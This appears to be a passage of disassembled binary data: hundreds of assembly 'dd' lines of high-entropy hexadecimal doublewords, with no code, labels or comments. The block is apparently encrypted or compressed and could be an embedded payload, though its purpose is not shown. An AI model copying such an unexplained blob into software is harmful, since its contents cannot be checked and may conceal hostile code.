		dd 0BB523FE9h, 40F7B0D8h, 0E639805Fh, 0C2CE97F2h, 84BEC00Ah
		dd 0BD6F689h, 8B43E046h, 403413D3h, 58B60441h, 257C466Eh
		dd 384A009Fh, 43762E44h, 225830Fh, 0C8FE31FAh, 5006552Ch
		dd 4A55D28Bh, 7BF16B2Ah, 0D531AF2Dh, 7ECD51B8h,	595A0BB2h
		dd 0ACAD49D4h, 56B25209h, 0EAB9827Fh, 2DB08CFh,	78320882h
		dd 22D5E462h, 0C5D9017Ch, 7AE98497h, 6708F438h,	8703E49Eh
		dd 4CD5F7EFh, 0D3078608h, 6F3FD652h, 4348DA81h,	2E5B6175h
		dd 0A22518E6h, 6B5FF242h, 285CC8DEh, 36759FFFh,	0E1B05B2Ah
		dd 60A27F5Fh, 5FE6558Fh, 9CB00C28h, 0B545B431h,	520003C1h
		dd 83076851h, 5901E528h, 2BC98071h, 0E0CFF1CCh,	3E08F4CAh
		dd 0C4255AD4h, 0E2588FFDh, 0E0D02ACDh, 9E78992Ch, 4A6A89F1h
		dd 7E4747D1h, 57550CD8h, 0ECCB20Ah, 4F2E9242h, 84D2ADA9h
		dd 0B302B766h, 0D1DD57DAh, 0A8494559h, 5B5D2E43h, 1A59F7E2h
		dd 2A00028Fh, 632D3E73h, 330A7200h, 1B364735h, 37E91262h
		dd 0DBB0460Ch, 3CA0064Bh, 0E9809033h, 9791B215h, 0C20095DAh
		dd 0F5DCF7Ah, 0BFE35780h, 145EA9BEh, 0BFF16CD3h, 0B9200885h
		dd 588CB9h, 0BB5323CEh,	10F5AA11h, 0B03F5297h, 930C4AB2h
		dd 0D1B9DDEBh, 15D36A93h, 0F7F316DFh, 0EADE00D6h, 0F4CC30Ah
		dd 0E8B78C73h, 806C631Ch, 0E74F8057h, 5EA06FB0h, 79F3A31Dh
		dd 2F093340h, 0C2E25FF8h, 35656055h, 6B441655h,	5880FA76h
		dd 2F563FBBh, 84570FE3h, 0F1BBEF4Ch, 5B2622F8h,	0E9C277E9h
		dd 0B0E8AA9Bh, 845F1586h, 8BF0EBF8h, 18BD53DFh,	80F98F1Fh
		dd 0C603F580h, 0E828A42Ch, 0C9E5A704h, 975C66B0h, 0DCFC04C8h
		dd 0B940EFD2h, 0BF2D6348h, 166517F4h, 25A30906h, 0C8DD07EAh
		dd 9EB81F9h, 676F6408h,	8A067FEh, 0E961FA91h, 0CC7BE697h
		dd 0E0F45226h, 4C5ECC4Bh, 7D2A5ECBh, 8A07A24Dh,	0E98152DDh
		dd 0ED292278h, 8C53A505h, 5554C04Eh, 0DF126AB4h, 83A028E9h
		dd 52045B01h, 1EC5FA23h, 3C90EC1Eh, 0E418954Dh,	8F580E27h
		dd 74DA045Eh, 0AED3645Eh, 2768B4C8h, 72F9494Dh,	524122B8h
		dd 5EB02834h, 306065E9h, 7C68530Ch, 3EFA250Fh, 79C065E0h
		dd 0C131D509h, 85F507EBh, 0B05739BDh, 0F30768B0h, 4E66B0F8h
		dd 782FF201h, 162AB820h, 54A1705h, 74C2299Bh, 9F98BE47h
		dd 3FB3497Eh, 3F69840Ch, 0C72D8022h, 9E4CC0DEh,	0FEB9D328h
		dd 0D00F8832h, 0B493EAD2h, 315E079Bh, 0FA70D4CFh, 79AA6916h
		dd 401ADA8Dh, 251E2742h, 0EB75471Ch, 6C0B622Ah,	819E09FCh
		dd 69441529h, 888BFE25h, 581C372Bh, 8968C30Eh, 0B57A987Dh
		dd 972AF49Bh, 501CEDC6h, 0BB31CAE9h, 6130DEF5h,	0C1450C4Eh
		dd 2D1405EDh, 53436D13h, 65CC6D04h, 3D4CE902h, 5A17C079h
		dd 637C6100h, 4101459Ch, 0AE0804CDh, 0E98278F8h, 0C6F5675Eh
		dd 80523037h, 3B8FC281h, 0CA8342FFh, 0B09087h, 18E959A6h
		dd 47B3A59Fh, 40BCAA01h, 0C930B3Ah, 5156016Bh, 2EF986E9h
		dd 90A90A56h, 0F495BF9Fh, 0FB4E9063h, 0C403F7D5h, 76EE0FBFh
		dd 7F121458h, 8C1A832Bh, 0CE554189h, 0D24B300Ch, 5DBF3448h
		dd 6E0088BEh, 56420B01h, 5E8476BEh, 0E5B4B06Dh,	0DF08E139h
		dd 0D4639FF8h, 72C83861h, 0E698D0F7h, 0D1AB454Bh, 8AD3018Bh
		dd 0CAF11BC8h, 58E76440h, 584AF6FAh, 50CBE67Eh,	40419902h
		dd 0E2328E0Fh, 0EBFEFA7Bh, 633E8053h, 77ACA061h, 1AA805C5h
		dd 0E2244BE9h, 374C33h,	382D4099h, 93B41BDh, 0CD312AA0h
		dd 0EC60AF10h, 0D41430DAh, 0DDF75009h, 85206E98h, 0D9E93772h
		dd 91356780h, 6070A617h, 2E12F7B0h, 0B9D00907h,	50B826ABh
		dd 5E77A76Fh, 2D898CE6h, 0F993D342h, 0D88813D3h, 1CE9D490h
		dd 759EAA9Dh, 1250CCCh,	0DEC6F5CBh, 0F1AA4025h,	515D8960h
		dd 89894CF9h, 92C1FDC1h, 107CF629h, 314C79A8h, 8F8117E6h
		dd 0CBA5B677h, 0E73F4FA1h, 41FE4B57h, 3D449E6Ch, 0DFB16B79h
		dd 0A6C5FA28h, 0E89513F9h, 83161038h, 7B8D2D02h, 0C85D0A8Ah
		dd 0A87736DCh, 947F05ADh, 785E8741h, 0AB649F30h, 0FA9CAB9Ch
		dd 3EE13C1h, 80DAFE53h,	0AC8EE90Bh, 303B1675h, 0BA169B07h
		dd 883D4913h, 3E2272Dh,	0BFC1801Bh, 7F5FF107h, 0C9FE5A07h
		dd 4F1BE1B3h, 0B0EAB80Ah, 452888B7h, 8FB06BF9h,	347597C3h
		dd 99E91A70h, 0F907704Fh, 2FCF82F0h, 0A40235Dh,	5DB2D18Fh
		dd 0F7ED072Bh, 0DCA5CED1h, 6D4DF47Bh, 0E4EC163Eh, 0F5943118h
		dd 18EE36FEh, 85911424h, 4A0ED19Ah, 0ED3641AAh,	7C77D13Ah
		dd 850BD930h, 0CA6CA99Eh, 1F046481h, 684AD3Bh, 571B63A7h
		dd 0B6A080Ch, 90266D9h,	0FF24E81Ch, 80DD7CAh, 0CA14170Ch
		dd 0E6E90A20h, 9BB9B80h, 0F2D55382h, 695CEADFh,	9C5679F1h
		dd 61049804h, 8ACA57FAh, 0AE90BFEh, 2023EE23h, 0FB20048Bh
		dd 0DD11A22Dh, 0CD66378h, 0E96FC0EBh, 2A9FAC53h, 0DF02974Ah
		dd 0E15F2A59h, 0A26B5A6Dh, 0DCBF808Dh, 0BFF7B7DAh, 0DDE05643h
		dd 7590EFE9h, 271ADBB5h, 0B417C4DEh, 0E235D640h, 985C651Ch
		dd 58209261h, 0ED2D2229h, 0CE68DD5h, 26F2A86Eh,	0D75A4559h
		dd 0D4C0E78Ch, 10B91A16h, 4C829417h, 2EF4F8ADh,	1383D6Bh
		dd 85FE0EEh, 10AF3A29h,	0E91D08C1h, 0BB34F056h,	0A0D4211h
		dd 4EBD138h, 786A903Eh,	0F15AFD6Fh, 1F1E28ABh, 20D57641h
		dd 0C05FDC24h, 0FA105D7Ch, 0F7504D62h, 0FC97948Ah, 0C7B604Ah
		dd 0DAFE5F51h, 0B5781C98h, 0F6AC994Bh, 6D214305h, 0DF338079h
		dd 376ED513h, 0D038A318h, 0A60C0403h, 84FC9051h, 0FB5F9577h
		dd 87A4D2A6h, 5D27080Ah, 0FFA5883h, 0F94B0E99h,	3182292h
		dd 5D1736CEh, 0E1F6B242h, 0A0BB5032h, 4E8CC901h, 71F02998h
		dd 2EF16F8Dh, 0B67443F5h, 4B54208Fh, 13FB7497h,	0C76AAC06h
		dd 0E820F588h, 95A39BE9h, 46E4B6C4h, 0B1260C1h,	0B02E5EA4h
		dd 782468EFh, 0E7897566h, 0F7D0AB62h, 0BF455C2Fh, 5038F257h
		dd 2002E61h, 7D353493h,	2F764E20h, 4B8583E9h, 8E52BD49h
		dd 82642943h, 644DCDB2h, 1217CBDh, 0EAC1717Dh, 70E2D102h
		dd 9128E1Bh, 2AEADBEh, 6BCEE9D0h, 929CABDCh, 0FCBEACEh
		dd 0DD24DCD0h, 53513400h, 0E7B5BCB7h, 857A3A61h, 1317CF4Dh
		dd 3D8471E9h, 50E95ACDh, 0EB0F943Ah, 0E72716B6h, 0A8F6AF48h
		dd 384FB717h, 1F32EA4h,	46294571h, 8903E6C1h, 0C04DE918h
		dd 0FB0BED5h, 31513876h, 0D421ABB2h, 45DDD2F6h,	0C5D042EAh
		dd 6CCF0889h, 18BBE90Fh, 2480EB7Bh, 0CC5180Dh, 49B552FBh
		dd 0E1A8944Ah, 917F2DC1h, 64AE3E20h, 0A50C1753h, 0CCED2F44h
		dd 0D304C7D0h, 8402E17Bh, 0C0C4029Ch, 0D8C04C42h, 31806046h
		dd 985D73EFh, 95E4F838h, 0ED7E98FDh, 76818262h,	30460C9Bh
		dd 26B9F7Ch, 68165716h,	9FF19948h, 88BE1E52h, 0EC4BB167h
		dd 2367DE90h, 81440FB2h, 0C15E40E5h, 4C820F3Fh,	0B4FC3B53h
		dd 68F630A1h, 0A15F8955h, 52D688AFh, 0E9E02C3Bh, 7D3AAF25h
		dd 4A964AEEh, 8CB53C2h,	1DB60D88h, 0AEC97F7Bh, 0E13B89ECh
		dd 0B7ABA82Eh, 5E2B37F2h, 31CF87C6h, 0FF4F547Fh, 2D495314h
		dd 3CC27193h, 0E258A10h, 12570D68h, 17A98FBFh, 4BA466C9h
		dd 0AE631EECh, 0DD97CBF1h, 0DE5BA4DAh, 0AAF716FFh, 27012638h
		dd 8AF65FFEh, 0F0E8E962h, 0CA515F42h, 7425E7Dh,	0FE3DAA68h
		dd 0FAF2520Dh, 5C81CDF6h, 0F512FE42h, 0EFD4F302h, 978F409h
		dd 32572793h, 2F807E00h, 18B91FB0h, 6880209Ch, 292B3C62h
		dd 73D0975Bh, 2C6C9AA1h
		dd 61FA4BA6h, 21FDF494h, 94E92FB2h, 0C0EEBF80h,	3134019Ah
		dd 58C2E5FBh, 0C6A6A050h, 62BA782Dh, 383A4611h,	0E4C673D7h
		dd 154D0FAh, 0C9BD2DF0h, 90715E5Bh, 0D83A04DDh,	905BC65Ch
		dd 0B42D67AEh, 0B6E9947Ch, 38985B6Fh, 0A82C5B50h, 0EBC0B481h
		dd 0E442669Ch, 0D8F54E29h, 4D5D34F2h, 935E28CAh, 9741E016h
		dd 0FEB0500h, 9E1F700Dh, 0D008A0CEh, 0F85F14F0h, 0ACF84FCFh
		dd 4AF0F85h, 2C92E8h, 800AE5B8h, 0D79AB00Eh, 0DBBFE0CEh
		dd 0FBE7CCA8h, 183D0707h, 12DFDFF7h, 6858B6C0h,	994C4BD6h
		dd 89BC7C5Dh, 0C4B3754Dh, 81FABED1h, 2EB9E355h,	5317C6Fh
		dd 685BDB40h, 0A3D39DF8h, 0D87B1A00h, 0FABE5611h, 0E8BF0B01h
		dd 9551F531h, 5D008048h, 2750642Dh, 10509D56h, 5C120783h
		dd 0C7332923h, 386CC957h, 0D2419988h, 4D45A2Fh,	6F0722F2h
		dd 0D4D7BB12h, 0EC126C44h, 541D131Bh, 83EA1856h, 8BD95E1Ah
		dd 3B8A34D9h, 5E5EF348h, 89A703BBh, 1D1C6664h, 0D5250AFBh
		dd 0AAF5569Bh, 5FB6EAF4h, 68BFD036h, 39B47587h,	6317FE65h
		dd 7EB9AF87h, 0C2097202h, 0E9BFB875h, 863B60F0h, 460AD5B9h
		dd 0CD01AB16h, 43A89A73h, 0D30B22EBh, 0C54533Eh, 1D143402h
		dd 7628F70Dh, 3E9A2508h, 0E985AD5Ch, 45E4A26Dh,	6E1B09C3h
		dd 0F07729C4h, 410882FCh, 912E64D3h, 791D49A0h,	55899EE4h
		dd 3628229Fh, 28422263h, 4F0AB800h, 9C2F588Ah, 0D695B85Eh
		dd 0E93CCCFDh, 0BA5D134Eh, 0FB94B18Ah, 0B9FD4C25h, 9DF7D1FBh
		dd 0C92C5E91h, 4B0FD77Fh, 0B1742E04h, 1C8BCC98h, 0F8BFFCB5h
		dd 0D6030E2Dh, 0F404821h, 0BDA3B68Eh, 6F202A72h, 18AEC13Ah
		dd 80289869h, 6252140Ch, 0B0EE293Eh, 5DF118D9h,	0E5F31C91h
		dd 167E0F73h, 20DDD497h, 0D85D481Dh, 0B3312B12h, 0ACDA182Ah
		dd 0E47EB65h, 13BED55h,	0E01312D7h, 9CC4412Dh, 2CBB07E7h
		dd 8009592Dh, 75574DE1h, 7F0FE45Ah, 0A19DB151h,	0C1FE54C9h
		dd 7D3B92D7h, 0D9313487h, 6F005977h, 0ED628FC9h, 451B8BDEh
		dd 2338E129h, 1273D7C2h, 7DC8E509h, 79B2BE9Bh, 0C4A602F6h
		dd 55AFFB26h, 3E58172Ah, 0ABA62814h, 9D82EA93h,	0A7034559h
		dd 6812EEC6h, 55CD51D4h, 0A2772BAFh, 7527256Fh,	1857DD1Ah
		dd 806D162Eh, 5F5AF901h, 0C3E6C0A8h, 4E078525h,	0BD55000Eh
		dd 65964AC5h, 3528E950h, 9E0960F8h, 0EE084376h,	80E92523h
		dd 459C35D0h, 543A6858h, 2FE96742h, 90FAC3EDh, 582478BCh
		dd 0C9028B0Fh, 0EAED88Ch, 0B14184BDh, 1092F853h, 0F6024ACEh
		dd 0CC680D6h, 0F187EDE0h, 5B799695h, 2F21C656h,	534FC8E6h
		dd 5C8D6B44h, 0B8CB8CEBh, 0EA9026F4h, 584CC2F2h, 0AE8850C2h
		dd 0ED596C40h, 0B84DA4D5h, 0B24840F9h, 0B52DFEC6h, 0BC82225h
		dd 0DCC1E09Ah, 5D32054h, 0A1F81CD6h, 2B3CC10h, 0E78F0F4Eh
		dd 0A5E7F624h, 29901A8h, 5650FB8Ah, 0BD8335F1h,	4A31321Dh
		dd 0FD1BA04h, 0B32B54C3h, 7F69053Dh, 15BD0A1Ah,	0DB898E69h
		dd 2937F6C8h, 0F769FD09h, 0AE2309D6h, 1183A41Ch, 0EC39DDEFh
		dd 96CBD7F5h, 0FB00775Bh, 15071E1Bh, 561B3AEDh,	13B1D832h
		dd 0F8544B2Ch, 0A62F7D50h, 0A5995B60h, 0BA099D5Bh, 56B62722h
		dd 7952E74h, 21D961EBh,	0A42EBB37h, 2E1EDD8Dh, 0C30DF98Ah
		dd 0B901EF8Bh, 5424125Bh, 5E422668h, 0B947C23Ah, 1737CE20h
		dd 0E12AF75Ah, 0FB98E7D5h, 1093FF3h, 0DFC791E9h, 2C50629Eh
		dd 0B9AAFD34h, 942CFB7Fh, 0FF5EA2E0h, 0FF08C832h, 83F68A0Fh
		dd 0D6A938E3h, 48262357h, 16CF00F9h, 0EA81143Dh, 0F72431A1h
		dd 3B366E6Ah, 0B534E5B7h, 80E4A40Dh, 1F7C7017h,	0F16F60C9h
		dd 0A6F97F89h, 4324FBD3h, 465F38C1h, 9EF1DFC2h,	0E65F4Bh
		dd 759C4220h, 913B766h,	3ABD03F4h, 0EA09E979h, 0DD4740EEh
		dd 0BF2EC0E8h, 45387BACh, 55FED8B0h, 0E96F180Bh, 0C06BC262h
		dd 817BB05Fh, 83FFC25Ah, 95665916h, 68D94FBFh, 73743AA9h
		dd 62EEC942h, 0F1B8FF31h, 799516DFh, 3D8F895Eh,	212276B2h
		dd 455EB8EBh, 0FD59DE82h, 8C225F37h, 75EA968Bh,	828A8E60h
		dd 3893640h, 0EAC05ECAh, 0C3B4FE02h, 4701DE44h,	1BAD6855h
		dd 18F073DCh, 0AD519D46h, 4F9942h, 3E685F54h, 5E950570h
		dd 0E7F6D2BFh, 0C213D840h, 0BEE9165Fh, 0D82DFE2Ah, 9A784C20h
		dd 325B79ADh, 4F145808h, 0BE0026E6h, 8140544Ah,	2D1BFBCAh
		dd 78D67E5Dh, 5027324h,	0AA61E9h, 0B9649CBAh, 0A59DC9F1h
		dd 4B06F00Bh, 0E199407Eh, 1B73484Ah, 4A870F2Dh,	8FD961D8h
		dd 0E9001FE9h, 0DBBD2A9Bh, 2AE34DD7h, 363064A1h, 1C34E679h
		dd 7E0DB83Ch, 10BE322Eh, 105F4870h, 0A14A1FB5h,	0C30B8972h
		dd 7F0609EDh, 7F0E136Dh, 2CC01139h, 5AE7B640h, 7C973AB8h
		dd 0F07D5237h, 0FB010962h, 2629BDE9h, 93BCC956h, 22FF4194h
		dd 217D8911h, 27F968C8h, 1059D5C2h, 492B0ECBh, 8CCCD402h
		dd 0BDC2EF4Fh, 17151F01h, 3E5C153h, 92393E20h, 0C795B5A3h
		dd 5A02672Ch, 5F4EE26Dh, 1021A02Fh, 7F1A5972h, 35FA5705h
		dd 878271BAh, 0B62D6A14h, 0E8FCB06Fh, 0D7B3A64Eh, 4F1B681Ch
		dd 0D2CF6BBEh, 0E007F856h, 270E1168h, 0C7554C3Ah, 0C8E90579h
		dd 72897FBh, 0D55684E8h, 0A009AA56h, 7F535502h,	2BD0E91Ah
		dd 0F880FD9Ah, 0B0DD425h, 7BD589Fh, 46ED2935h, 42C54AB6h
		dd 6C506DE9h, 3DF2544Bh, 2F74D980h, 0D1480149h,	0D40841A8h
		dd 27C959B2h, 60DB02EEh, 0D70C606Bh, 297EB72Bh,	0CBBD65Ah
		dd 80C51A40h, 0D16FD52Dh, 0CE8C060Dh, 5C97103Dh, 7460722Bh
		dd 24CB8EDBh, 1BE3D52Dh, 25F0EAADh, 24186231h, 5957C84Ah
		dd 0A0C56FC5h, 0ADA5FA4Dh, 0BD5B6F60h, 7845F420h, 0C9774A9h
		dd 3D1D1217h, 4CDC316Ah, 0B5481327h, 32FCF381h,	2984E418h
		dd 0BC85E92Ch, 385518A5h, 0FC2DDCDEh, 554BE21Bh, 0BA4290F4h
		dd 94075628h, 7D07AA58h, 67174619h, 0F33431F1h,	0BEF53A06h
		dd 4C4E14CFh, 432EF019h, 8D3D133Dh, 65EF2FE9h, 80B2EFB8h
		dd 5B49E9C2h, 85D16D75h, 0A48D44E9h, 731845FBh,	260C3E10h
		dd 76750132h, 0DA60FB05h, 8B16E3Bh, 0D8EA0705h,	0AB2FE99Eh
		dd 0A3EA4829h, 5CB52713h, 0AF85CC04h, 8CFE2912h, 96FAEF35h
		dd 0B1354B60h, 0ECA88CDh, 9C28059h, 5055817Dh, 3A303EB0h
		dd 2C0142ABh, 90DF5993h, 0CF34CD4Eh, 0A047F6BFh, 0F301A179h
		dd 0F9E47F5Eh, 0F920129Ah, 73CDBF2Ch, 8EF0296Bh, 0EA0CEA9Eh
		dd 4F05804Ah, 0D600CC2Dh, 9A0315CDh, 37454D2Eh,	0DC80ED3Ah
		dd 0EE89C120h, 0ABBA59E9h, 97CF293Bh, 0A3A7CA1Eh, 358E2E7Bh
		dd 7D4982D5h, 6557317Eh, 2CE63C12h, 4AD303FFh, 9AF1E756h
		dd 17DED4A5h, 499C5A17h, 6E221718h, 0C730061Ch,	0BA0F36EAh
		dd 0F373019Ah, 0E205E2B8h, 0BBB819AEh, 48904401h, 0C82771Dh
		dd 0B4A82C7Ch, 4947D649h, 43632BD8h, 3DA5F1C5h,	0D270313Ah
		dd 0ABBD2F55h, 0CB2FDF48h, 49A8C3D3h, 0A45C80Dh, 0F02EC30Bh
		dd 204A474Bh, 0B47CEAAh, 45365DE9h, 0CE470BE8h,	79F44F1h
		dd 1787B03h, 82FC17EEh,	0AB3024A7h, 9B8C7AECh, 14983D46h
		dd 519FB77Bh, 979B53Dh,	9FC2F14Ah, 82819099h, 7C1AD368h
		dd 0E8E9D533h, 5E0A5004h, 0ABB7E568h, 39E5F47Ch, 0B7A7A84Bh
		dd 0D979F263h, 0B42B62DCh, 853DC2DEh, 31468B54h, 53095DD0h
		dd 0BE70FCF6h, 327F16F7h, 0F28FC1A0h, 67AA04C3h, 8F89C9FFh
		dd 4B3F5251h, 0D9418CF9h, 0BDC9A6Ah, 0B02D2CE9h, 0C6796BBh
		dd 923531BAh, 2727E90Bh
		dd 1BE7C840h, 0DE5D820Bh, 0E3E3307Fh, 0E0622D7Dh, 0DFEF8B18h
		dd 178F80AEh, 13957BEh,	34CFB947h, 3FF1601Bh, 2346F1D2h
		dd 4B32A8FAh, 3C99AF5Ah, 1706AE2Ah, 4F6F2BE9h, 5AEAC35Bh
		dd 66E830A8h, 710F76BFh, 0E902D883h, 0D453C027h, 0D444726Eh
		dd 0C451F2Ch, 0F00BFB40h, 9243507Fh, 0EB02B201h, 0F91633C0h
		dd 2F77CBD8h, 0B540D738h, 0B73ED664h, 6BEF0056h, 0E91E2450h
		dd 970770DCh, 66C598F6h, 1DAD1DAAh, 0C2688755h,	0C05DA779h
		dd 3EE9EB31h, 0CA3C3A9Ch, 68E342EFh, 99DC582Bh,	0E922306Bh
		dd 2C655AFDh, 567F51A6h, 2B822126h, 0E37BEF8Ah,	2ACAA243h
		dd 97D61917h, 1D7E18F5h, 7324B5EAh, 37588007h, 6C4F6FCBh
		dd 3F9B210h, 324D0FDEh,	0E18FB7D1h, 9A17DD0h, 7CE99841h
		dd 0CFBFBA50h, 0ED8D2DD2h, 7F4997FCh, 8E2E3E5Bh, 7C696800h
		dd 0B058541Bh, 0E60D005Ch, 0F202B53h, 34B2E486h, 39213509h
		dd 6D3B8227h, 9BB900CCh, 1859FD68h, 80502D3Dh, 0AD5FB8EBh
		dd 0BFE8D295h, 5F55CE4Bh, 5157F6CAh, 16F1707Fh,	0BD98EEBDh
		dd 210B9FF4h, 0A516D1B0h, 0C3E44ED5h, 1386E95Bh, 91BB2A01h
		dd 4351CE23h, 6FD5416Ah, 20AE31DCh, 613D822h, 0B4BD150Fh
		dd 9D5B0840h, 6F894965h, 7F1909F8h, 6BE2B951h, 0C176F637h
		dd 89EC11E9h, 0C5613436h, 70B201E9h, 2EEBF280h,	81CE29E4h
		dd 76F0905Ah, 0FCE2E441h, 0C857A5E2h, 0C0AE083Eh, 240BA20h
		dd 29144275h, 10965AD6h, 0DB496EB2h, 0B57CBC4Ah, 0BF7817EAh
		dd 0F87ABBCDh, 0E7571A15h, 261C90B4h, 64FD304h,	794D7151h
		dd 0BD33B600h, 0BFBE5673h, 7CA60A0Eh, 3996F201h, 3BF3DDC1h
		dd 2E9931FAh, 263EA6BEh, 56C06012h, 130A7BFh, 0E781218Ah
		dd 406D1CC1h, 6B93F7EDh, 0D07A1725h, 3A3504ADh,	0BE85A37Fh
		dd 0F09861B8h, 11B75423h, 0DDE55C7Ch, 0FAB54AF3h, 0B6FFD235h
		dd 8A3898DEh, 0B35C95CCh, 30E0574Fh, 9E5D9F5Bh,	39522FD9h
		dd 3AF1D2D2h, 0A2ED8E43h, 5FB49AC1h, 1205E3C3h,	980519Ch
		dd 39CE1BAh, 1E3F5B08h,	473B85B6h, 71BBEB01h, 7D1EF6C6h
		dd 62F72514h, 0DA8A4212h, 2588995Fh, 0B1063E7Fh, 8144698Bh
		dd 814A42B2h, 0E788F413h, 0BC979A52h, 2119C4DFh, 20A5E63Eh
		dd 9184E6D5h, 0B32F1DFAh, 141D801Eh, 0C35FF328h, 0F6C68C5h
		dd 0EC452A8h, 0DB9BC166h, 9F0E067Fh, 5BFA58FAh,	34EFC1FAh
		dd 8129977h, 37A1585Fh,	1E340AF5h, 797A9031h, 4CE62046h
		dd 33054B5h, 36840449h,	2A41C3E9h, 5580F2F3h, 0EE1710BDh
		dd 83812C5Ah, 0A32883E9h, 6C2CAE5Fh, 50BE8901h,	84EF8091h
		dd 6485E295h, 3CD2951Dh, 7C04F8B0h, 54B0813h, 6F1644A2h
		dd 4190AF1Eh, 2C9BB041h, 260129F1h, 8B402D64h, 8180567Dh
		dd 0B7AC09EBh, 85686671h, 683B5FEFh, 71315EC3h,	5C0272BBh
		dd 0DEA5E2D9h, 104CC018h, 0E91825FAh, 0B8C4FFC9h, 0F75C01C4h
		dd 1D363530h, 97E16F39h, 0C23D813Eh, 3B62F15Dh,	0D3C2F31Ch
		dd 5578B668h, 1951D518h, 0BC62F086h, 45E2F90h, 57ACA94Bh
		dd 0E916D3F8h, 0F9FDFEC5h, 183D6B84h, 2C6C0C76h, 0B2B60D2h
		dd 62A1A2F1h, 7F461968h, 73820830h, 2D90984Fh, 2E932F91h
		dd 84CF81D0h, 6FC76613h, 3544FF1Ch, 0EAF3490h, 9B24BD6h
		dd 6478CD30h, 50665A13h, 7041CAABh, 0CBF48054h,	12277E90h
		dd 0C89DFC17h, 0BA013ABEh, 9E915E8h, 1E93949h, 3F4B2D51h
		dd 0CB31CE01h, 55590802h, 66B75DEEh, 382500EEh,	0EA813E3Ah
		dd 922F703Bh, 0A220D92Ch, 19F620F6h, 6409FEBDh,	2B71B176h
		dd 888A70AFh, 579557E6h, 0A08AE838h, 2F8CFF71h,	5F03B7E9h
		dd 0DF97CE88h, 0EDC3F3E0h, 0F9760FBh, 6832E920h, 828E465Bh
		dd 0F2A6A3F5h, 0C0ADD95Eh, 0B4D0EC7Eh, 686602AEh, 47757081h
		dd 24B6A424h, 266D4AFAh, 0C65527C7h, 0EB60492Dh, 2884092Ch
		dd 20E105B6h, 0EA296CB5h, 65EFAE3h, 5C43EB3Ch, 0E34DDEEAh
		dd 0FDC22DA9h, 78DF9312h, 0F866959Fh, 0F40B0498h, 5E14326Ah
		dd 0D68743B0h, 52FADAB3h, 5D669A75h, 5F7AF080h,	0F6EC2AB6h
		dd 0E8CA6D0Ah, 99A78B3Eh, 0A42AFE82h, 91D296BBh, 0E2528609h
		dd 0DF8FDF91h, 0E62376C6h, 0C308ECB7h, 175D686Fh, 0F3A3BF84h
		dd 0EFFB5293h, 32D3869h, 91B0E817h, 2B724BD2h, 9DB190CCh
		dd 50201B08h, 6817F1F7h, 36B53596h, 81F40828h, 2F59499h
		dd 23D76059h, 8F639E35h, 184B3CAAh, 2C319200h, 0CC14AE4h
		dd 0F12DE039h, 0B85D7830h, 9A9E900Bh, 8B0F094Eh, 0C55580D1h
		dd 0F229622Fh, 0C073825Dh, 9018FF53h, 5981309Eh, 84417280h
		dd 6F09C1C8h, 0A03BFF9Ch, 0B9E8A0E2h, 32C52510h, 882A6F2h
		dd 0CC3A16FFh, 0D09E4B5Ah, 0C0E1C8EDh, 7A3060E5h, 2A937C54h
		dd 32A6181Eh, 5D2F6D8Bh, 0AF27AFC6h, 577B92F6h,	0EB6FEEFCh
		dd 46B226CBh, 0BC010F88h, 0A384DAAFh, 1420BF2Ah, 1F836ECFh
		dd 0BF505B35h, 60E30A8h, 26243C6h, 0EE04F864h, 0EFB6BEEAh
		dd 400B9AAh, 0E6FF6A4h,	0C10CD0ECh, 2C2A08E6h, 0AB4CF972h
		dd 69F15ED8h, 8C3CEA3Bh, 24314FB7h, 1BBDBA2Fh, 5D276809h
		dd 5FD5B3B0h, 72B880h, 2D4C3020h, 1F2E2BBDh, 0D4034076h
		dd 5275377h, 0CD8290A6h, 5E0B9F31h, 744B8355h, 0B6AF843Ch
		dd 42F611D3h, 0BDE951C2h, 0D1021074h, 778C2CE5h, 8CA498F3h
		dd 0D790010Bh, 0FCD4FF1Bh, 0FFAC5E32h, 0E522FCD3h, 0DEEC0082h
		dd 10F06841h, 0C8423839h, 5F4D054Ch, 0C5EF2340h, 4A6EAC3Fh
		dd 3E0A99AEh, 0E909C6DBh, 0D87906A5h, 2D3E3508h, 8C0FBBC4h
		dd 0EA274D5Ah, 301090E7h, 24F4892Dh, 1A92035Bh,	0F1DBD6Bh
		dd 722C76E9h, 80203960h, 0D8F70D85h, 958FE940h,	2E548661h
		dd 0C8C29899h, 0B8EB287Ch, 1BA060F8h, 0E9545159h, 73A1975Eh
		dd 214BBF29h, 52DC9E9h,	0EED0D0ABh, 6093318h, 0D9F53154h
		dd 49FE26B6h, 493FFB5Dh, 1CF721ABh, 5EF024C0h, 0C0601284h
		dd 25C66878h, 4EF828E2h, 0CF5F22F8h, 6A5CE4A4h,	90E0CEEh
		dd 45F7C588h, 0BED0BE52h, 47DA4103h, 90B78544h,	8F08B5CBh
		dd 0D8295007h, 74492F68h, 0F5116316h, 0F7BE6D2Dh, 3E7A13A3h
		dd 8ABCE360h, 9852416Eh, 7F2512Ch, 137C1A70h, 0AA1B304Eh
		dd 3F080D50h, 66A14AE9h, 25C1F76Eh, 0F4144C17h,	0A3635ACCh
		dd 8EB64F3Eh, 60145F27h, 800DE927h, 33D7B870h, 31112755h
		dd 0ED0780DFh, 1A29F462h, 605E3C1h, 0F9EBE700h,	480720AEh
		dd 0F75BD909h, 173F43Bh, 2A7C451Ah, 7F43AD89h, 437D4010h
		dd 0B683A297h, 506A09CEh, 3C14C409h, 0F8F180B7h, 0ED36FE33h
		dd 0F5EEA154h, 0BDD0A42h, 0E456AAE9h, 6BB99061h, 0C9DCDD93h
		dd 0F644646Fh, 55511781h, 0D6E175DCh, 15C3B80Eh, 0D445A334h
		dd 0DABF27E6h, 9DD9D06h, 0AD4065DAh, 944ABAFAh,	0C5823A61h
		dd 6FD3F701h, 0DF333482h, 0EDCB498Eh, 0E90CC0FFh, 13D59CE7h
		dd 0B4BEE889h, 0D0AEF385h, 0E9DE29A9h, 0AC804A4Bh, 0F022CD80h
		dd 0A7859712h, 0E2DBEB5Bh, 0B65B1952h, 45A214C0h, 3FCC84D1h
		dd 28A143B8h, 0EF835533h, 0F9AC7294h, 0D040FEF4h, 0E74433C3h
		dd 0D83127E3h, 57028273h, 0F5297D68h, 5597491Eh, 1C40E314h
		dd 2762BCCDh, 0B58696FDh, 2F0239B6h, 0E96E756Dh, 85F2D084h
		dd 7553ADB3h, 65BB85CCh, 57212F01h, 0C358B46Ch,	5BC1CA40h
		dd 6FB182E0h, 2D07E3D8h, 2FC40B6Bh, 0B86482B1h,	0C09CE32Eh
		dd 0B91BF1BBh, 7EE91277h, 4B2A30Bh, 0C4D2F8D4h,	11281CC0h
		dd 0B81A4BF2h, 51EC10A6h
